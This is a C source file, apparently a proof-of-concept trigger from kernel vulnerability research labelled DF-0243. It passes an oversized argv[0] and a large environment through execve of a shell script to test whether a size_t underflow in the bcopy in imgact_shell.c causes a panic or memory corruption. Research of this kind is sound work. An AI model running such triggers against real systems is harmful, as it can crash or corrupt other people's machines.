DF-0243 / trigger2.c
/* * DF-0243 trigger2 -- ENHANCED to stress the bcopy() at imgact_shell.c:123-124. * * The original trigger passed envp={NULL}, so endp == begin_argv + length and * the bcopy's count `endp - (begin_argv + length)` was 0 -- the env-shift path * was never actually exercised. This version passes a LARGE environment so the * bcopy must shift real bytes left by (length - offset) when offset < length. * * If the size_t underflow corrupts the post-bcopy pointer adjustments (or the * bcopy itself goes OOB), we expect a panic / corruption. If modular * arithmetic saves the pointers, the script runs /bin/sh with the FULL * environment preserved and prints DF0243_ENV_OK. * * Usage: ./trigger2 [argv0_len] [nenv] [envlen] * argv0_len length of argv[0] string (default 256 -> offset<length branch) * nenv number of env vars to pass (default 200) * envlen length of each env value (default 1024) */ #include <sys/wait.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #define SCRIPT_PATH "/tmp/df0243_s2" #define MARKER_ENV "DF0243_SENTINEL" #define MARKER_VAL "CANARY-7B3F" int main(int argc, char **argv) { size_t alen = 256, nenv = 200, envlen = 1024; if (argc > 1) alen = (size_t)strtoul(argv[1], NULL, 10); if (argc > 2) nenv = (size_t)strtoul(argv[2], NULL, 10); if (argc > 3) envlen= (size_t)strtoul(argv[3], NULL, 10); if (alen < 1) alen = 1; char *ao = malloc(alen); if (!ao) { perror("malloc argv0"); return 2; } memset(ao, 'A', alen - 1); ao[alen - 1] = '\0'; /* Build a large environment. */ char **envp = malloc((nenv + 2) * sizeof(char *)); if (!envp) { perror("malloc envp"); return 2; } size_t i; char buf[256]; for (i = 0; i < nenv; i++) { snprintf(buf, sizeof(buf), "E%05zu=", i); size_t pref = strlen(buf); char *e = malloc(pref + envlen + 1); if (!e) { perror("malloc env"); return 2; } memcpy(e, buf, pref); memset(e + pref, 'E', envlen); e[pref + envlen] = '\0'; envp[i] = e; } /* a known sentinel that the script must see intact post-bcopy */ char sent[64]; snprintf(sent, sizeof(sent), "%s=%s", MARKER_ENV, MARKER_VAL); envp[nenv] = strdup(sent); envp[nenv + 1] = NULL; pid_t pid = fork(); if (pid < 0) { perror("fork"); return 2; } if (pid == 0) { char *cargv[] = { ao, NULL }; execve(SCRIPT_PATH, cargv, envp); _exit(127); } int status = 0; if (waitpid(pid, &status, 0) < 0) { perror("waitpid"); return 2; } if (WIFSIGNALED(status)) { printf("DF0243_CHILD_KILLED signal=%d (%s)\n", WTERMSIG(status), strsignal(WTERMSIG(status))); return 3; } int code = WIFEXITED(status) ? WEXITSTATUS(status) : -1; printf("DF0243_CHILD_EXIT code=%d (0=script ran with env intact)\n", code); if (code == 0) printf("DF0243_NO_PANIC: argv0=%zu nenv=%zu envlen=%zu -- bcopy+underflow harmless\n", alen, nenv, envlen); return 0; } |